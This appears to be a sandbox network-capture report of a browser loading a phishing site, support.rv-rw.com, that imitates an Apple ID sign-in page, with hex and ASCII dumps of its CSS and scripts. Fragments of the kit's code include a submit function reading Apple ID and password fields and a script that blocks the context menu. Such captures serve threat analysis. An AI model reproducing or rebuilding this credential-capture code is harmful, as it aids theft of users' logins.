2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 3d 20 6e 75 6c 6c 20 3f 20 2d 31 20 3a 20 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 20 61 72 72 2c 20 65 6c 65 6d 2c 20 69 20 29 3b 0a 09 7d 2c 0a 0a 09 6d 65 72 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 69 72 73 74 2c 20 73 65 63 6f 6e 64 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 20 3d 20 2b 73 65 63 6f 6e 64 2e 6c 65 6e 67 74 68 2c 0a 09 09 09 6a 20 3d 20 30 2c 0a 09 09 09 69 20 3d 20 66 69 72 73 74 2e 6c 65 6e 67 74 68 3b 0a 0a 09 09 66 6f 72 20 28 20 3b 20 6a 20 3c 20 6c 65 6e 3b 20 6a 2b 2b 20 29 20 7b 0a 09 09 09 66 69 72 73 74 5b 20 69 2b 2b 20 5d 20 3d 20 73 65 63 6f 6e 64 5b 20 6a 20 5d 3b 0a 09 09 7d 0a 0a 09 09 66 69 72 73 74 2e 6c 65 6e 67 74 68 20 3d 20 69 3b 0a 0a 09 09 72 65 74 75 72 6e 20 66 69 72 73 74 3b 0a 09 7d 2c 0a 0a 09 67 72 65 70 Data Ascii: = null ? -1 : indexOf.call( arr, elem, i );},merge: function( first, second ) {var len = +second.length,j = 0,i = first.length;for ( ; j < len; j++ ) {first[ i++ ] = second[ j ];}first.length = i;return first;},grep
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 2c 0a 0a 09 2f 2f 20 42 69 6e 64 20 61 20 66 75 6e 63 74 69 6f 6e 20 74 6f 20 61 20 63 6f 6e 74 65 78 74 2c 20 6f 70 74 69 6f 6e 61 6c 6c 79 20 70 61 72 74 69 61 6c 6c 79 20 61 70 70 6c 79 69 6e 67 20 61 6e 79 0a 09 2f 2f 20 61 72 67 75 6d 65 6e 74 73 2e 0a 09 70 72 6f 78 79 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 6e 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 76 61 72 20 74 6d 70 2c 20 61 72 67 73 2c 20 70 72 6f 78 79 3b 0a 0a 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 63 6f 6e 74 65 78 74 20 3d 3d 3d 20 22 73 74 72 69 6e 67 22 20 29 20 7b 0a 09 09 09 74 6d 70 20 3d 20 66 6e 5b 20 63 6f 6e 74 65 78 74 20 5d 3b 0a 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 66 6e 3b 0a 09 09 09 66 6e 20 3d 20 74 6d 70 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 51 75 69 63 6b 20 63 Data Ascii: ,// Bind a function to a context, optionally partially applying any// arguments.proxy: function( fn, context ) {var tmp, args, proxy;if ( typeof context === "string" ) {tmp = fn[ context ];context = fn;fn = tmp;}// Quick c
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 20 22 20 22 20 29 2c 0a 66 75 6e 63 74 69 6f 6e 28 20 69 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 69 4f 53 20 38 2e 32 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 Data Ascii: r String Function Array Date RegExp Object Error Symbol".split( " " ),function( i, name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: iOS 8.2 (not reproducible in simulator)// `in` ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49749	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:23 UTC	569	OUT	GET /aU3V88/css/appe.css?v=1 HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://support.rv-rw.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:23 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 133797 Content-Type: text/css
2025-01-13 00:39:23 UTC	7959	IN	Data Raw: 68 74 6d 6c 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 7d 0d 0a 0d 0a 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 30 3b 7d 0d 0a 0d 0a 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6d 61 69 6e 2c 20 6d 65 6e 75 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 2c 20 73 75 6d 6d 61 72 79 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c Data Ascii: html {font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}body {margin:0;}article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display:block;}audio, canvas,
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 34 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 35 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 37 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 36 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 37 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a Data Ascii: margin-left:25%;}.col-xs-offset-4 { margin-left:33.33333%;}.col-xs-offset-5 { margin-left:41.66667%;}.col-xs-offset-6 { margin-left:50%;}.col-xs-offset-7 { margin-left:58.33333%;}
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 32 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 31 36 2e 36 36 36 36 37 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 33 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 35 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 34 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 33 33 2e 33 33 33 33 33 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 35 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 34 31 2e 36 36 36 36 37 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 Data Ascii: .col-lg-pull-2 { right:16.66667%; } .col-lg-pull-3 { right:25%; } .col-lg-pull-4 { right:33.33333%; } .col-lg-pull-5 { right:41.66667%; } .col-lg-p
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 66 66 3b 0d 0a 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 62 63 30 64 65 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 34 36 62 38 64 61 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 2d 69 6e 66 6f 3a 66 6f 63 75 73 2c 20 2e 62 74 6e 2d 69 6e 66 6f 2e 66 6f 63 75 73 20 7b 0d 0a 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 66 66 66 3b 0d 0a 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 31 62 30 64 35 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 62 36 64 38 35 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 2d 69 6e 66 6f 3a 68 6f 76 65 72 20 7b 0d 0a 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 66 66 66 3b 0d 0a 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f Data Ascii: ff; background-color:#5bc0de; border-color:#46b8da;}.btn-info:focus, .btn-info.focus { color:#fff; background-color:#31b0d5; border-color:#1b6d85;}.btn-info:hover { color:#fff; background-co
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 31 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 2e 76 69 73 69 62 6c 65 2d 73 6d 2d 69 6e 6c 69 6e 65 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 31 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 2e 76 69 73 69 62 6c 65 2d 73 6d 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: @media(min-width:768px) and (max-width:991px) { .visible-sm-inline { display:inline !important; }}@media(min-width:768px) and (max-width:991px) { .visible-sm-inline-block { display:inline-block !important
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 0d 0a 20 20 20 20 2d 6d 6f 7a 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 76 65 72 74 69 63 61 6c 3b 0d 0a 0d 0a 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 0d 0a 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 0d 0a 0d 0a 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 37 36 37 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 34 30 70 78 20 31 30 70 78 3b 0d 0a 0d 0a 20 20 20 20 7d Data Ascii: -moz-flex-direction:vertical; -ms-flex-direction:column; -webkit-flex-direction:column; flex-direction:column;}@media only screen and (max-device-width:767px) { .idms-modal { padding:40px 10px; }
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 20 20 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 33 35 64 65 67 29 20 73 6b 65 77 58 28 35 64 65 67 29 20 73 6b 65 77 59 28 35 64 65 67 29 3b 0d 0a 0d 0a 20 20 20 20 74 6f 70 3a 2d 38 70 78 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 31 38 35 2c 20 31 34 39 2c 20 31 2c 20 30 2e 34 37 29 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 31 38 35 2c 20 31 34 39 2c 20 31 2c 20 30 2e 34 37 29 3b 0d 0a 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 2d 31 70 78 20 31 70 78 20 32 70 78 20 2d 31 70 78 20 72 67 62 61 28 31 38 35 2c 20 31 34 39 2c 20 31 2c 20 30 2e 34 37 29 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 73 69 2d 63 6f 6e Data Ascii: transform:rotate(135deg) skewX(5deg) skewY(5deg); top:-8px; border-left:1px solid rgba(185, 149, 1, 0.47); border-bottom:1px solid rgba(185, 149, 1, 0.47); box-shadow:-1px 1px 2px -1px rgba(185, 149, 1, 0.47);}.si-con
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 68 65 69 67 68 74 3a 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 2d 6b 68 74 6d 6c 2d 6b 65 79 66 72 61 6d 65 73 20 73 6c 69 64 65 64 6f 77 6e 20 7b 0d 0a 0d 0a 20 20 20 20 30 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 32 35 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 35 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 37 35 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 32 35 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 30 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6b 65 79 66 72 61 6d 65 Data Ascii: height:0%; }}@-khtml-keyframes slidedown { 0% { height:100%; } 25% { height:50%; } 75% { height:25%; } 100% { height:0%; }}@keyframe
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 72 65 73 65 74 2d 63 72 2d 74 6f 6b 65 6e 20 2e 64 69 61 6c 6f 67 2d 69 6e 66 6f 20 2e 73 69 2d 6c 69 6e 6b 20 7b 0d 0a 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 0d 0a 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 73 75 70 70 72 65 73 73 20 2e 64 69 61 6c 6f 67 2d 66 6f 6f 74 65 72 2c 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 61 63 63 2d 6c 6f 63 6b 65 64 20 2e 64 69 61 6c 6f 67 2d 66 6f 6f 74 65 72 2c 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 72 65 73 65 74 2d 63 72 2d 74 6f 6b 65 6e 20 2e 64 69 61 6c 6f 67 2d 66 6f 6f 74 65 72 20 7b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f Data Ascii: .idms-modal .reset-cr-token .dialog-info .si-link { font-size:20px; font-weight:400;}.idms-modal .suppress .dialog-footer, .idms-modal .acc-locked .dialog-footer, .idms-modal .reset-cr-token .dialog-footer { border-top:1px so
2025-01-13 00:39:23 UTC	8000	IN	Data Raw: 72 6f 77 73 65 72 20 2e 66 6f 6f 74 65 72 20 2e 62 75 74 74 6f 6e 2d 62 61 72 20 2e 62 75 74 74 6f 6e 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 37 70 78 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 30 2e 30 32 33 35 65 6d 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 73 66 2d 6e 73 2d 75 69 20 2e 6c 6f 67 6f 20 2e 63 6e 73 6d 72 2d 61 70 70 2d 6e 61 6d 65 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 33 70 78 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 30 31 38 35 65 6d 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 73 66 2d 6e 73 2d 75 69 20 2e 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e Data Ascii: rowser .footer .button-bar .button { font-size:17px; letter-spacing:-0.0235em; } .sf-ns-ui .logo .cnsmr-app-name { font-size:23px; letter-spacing:0.0185em; } .sf-ns-ui .widget-contain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49751	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:23 UTC	554	OUT	GET /aU3V88/jss/function.js HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://support.rv-rw.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:23 UTC	238	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 3108 Content-Type: text/javascript
2025-01-13 00:39:23 UTC	3108	IN	Data Raw: 2f 2a 2a 0d 0a 2a 0d 0a 2a 20 20 42 61 73 65 36 34 20 65 6e 63 6f 64 65 20 2f 20 64 65 63 6f 64 65 0d 0a 2a 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 65 62 74 6f 6f 6c 6b 69 74 2e 69 6e 66 6f 2f 0d 0a 2a 0d 0a 2a 2a 2f 0d 0a 0d 0a 76 61 72 20 42 61 73 65 36 34 20 3d 20 7b 0d 0a 0d 0a 09 2f 2f 20 70 72 69 76 61 74 65 20 70 72 6f 70 65 72 74 79 0d 0a 09 5f 6b 65 79 53 74 72 20 3a 20 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 0d 0a 0d 0a 09 2f 2f 20 70 75 62 6c 69 63 20 6d 65 74 68 6f 64 20 66 6f 72 20 65 6e 63 6f 64 69 6e 67 0d 0a 09 65 6e 63 6f 64 65 20 3a 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 70 Data Ascii: /**** Base64 encode / decode* http://www.webtoolkit.info/***/var Base64 = {// private property_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",// public method for encodingencode : function (inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49748	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:23 UTC	563	OUT	GET /aU3V88/jss/myscript_ind_fact.js HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://support.rv-rw.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:23 UTC	238	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 4706 Content-Type: text/javascript
2025-01-13 00:39:23 UTC	4706	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 69 6d 70 69 61 72 5f 63 61 72 67 61 28 29 20 7b 0a 20 20 20 20 24 28 22 23 63 61 72 67 61 5f 65 6e 76 69 6f 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 6e 6f 6e 65 22 29 2c 20 24 28 22 23 62 74 5f 66 6c 65 63 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 62 6c 6f 63 6b 22 29 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 73 75 62 6d 69 74 74 28 29 20 7b 0a 20 20 20 20 24 2e 74 72 69 6d 28 24 28 22 23 61 70 70 6c 65 49 64 22 29 2e 76 61 6c 28 29 2e 6c 65 6e 67 74 68 29 20 3e 20 30 20 3f 20 24 2e 74 72 69 6d 28 24 28 22 23 70 77 64 22 29 2e 76 61 6c 28 29 2e 6c 65 6e 67 74 68 29 20 3e 20 30 20 26 26 20 28 24 28 22 23 63 61 72 67 61 5f 65 6e 76 69 6f 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 62 6c Data Ascii: function limpiar_carga() { $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block")}function submitt() { $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "bl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49750	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:23 UTC	570	OUT	GET /aU3V88/jss/myscript_patron.js?v=2gdssf HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://support.rv-rw.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:23 UTC	239	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 11635 Content-Type: text/javascript
2025-01-13 00:39:23 UTC	7953	IN	Data Raw: 20 20 64 6f 63 75 6d 65 6e 74 2e 6f 6e 63 6f 6e 74 65 78 74 6d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 7d 0a 20 20 0a 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 0a 0a 20 20 20 20 24 28 22 23 62 74 6e 5f 69 70 22 29 2e 63 73 73 28 22 74 6f 70 22 2c 22 35 70 78 22 29 3b 0a 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 62 74 6e 5f 61 70 70 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 61 70 5f 62 6f 72 22 29 3b 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 62 74 6e 5f 61 70 70 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 62 6f 72 22 29 3b 0a 20 20 20 20 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 70 77 64 22 29 2e 61 64 64 43 6c 61 73 73 28 27 6e 6f 5f Data Ascii: document.oncontextmenu = function(){return false;} $(document).ready(function(){ $("#btn_ip").css("top","5px"); $("#cont_btn_apple").addClass("ap_bor"); $("#cont_btn_apple").addClass("bor"); $("#cont_pwd").addClass('no_
2025-01-13 00:39:23 UTC	3682	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 65 6c 73 65 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 6f 3d 64 69 67 69 74 6f 2b 27 2d 27 2b 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: }else{ digito=digito+'-'+$(this).val(); } } });

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49754	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
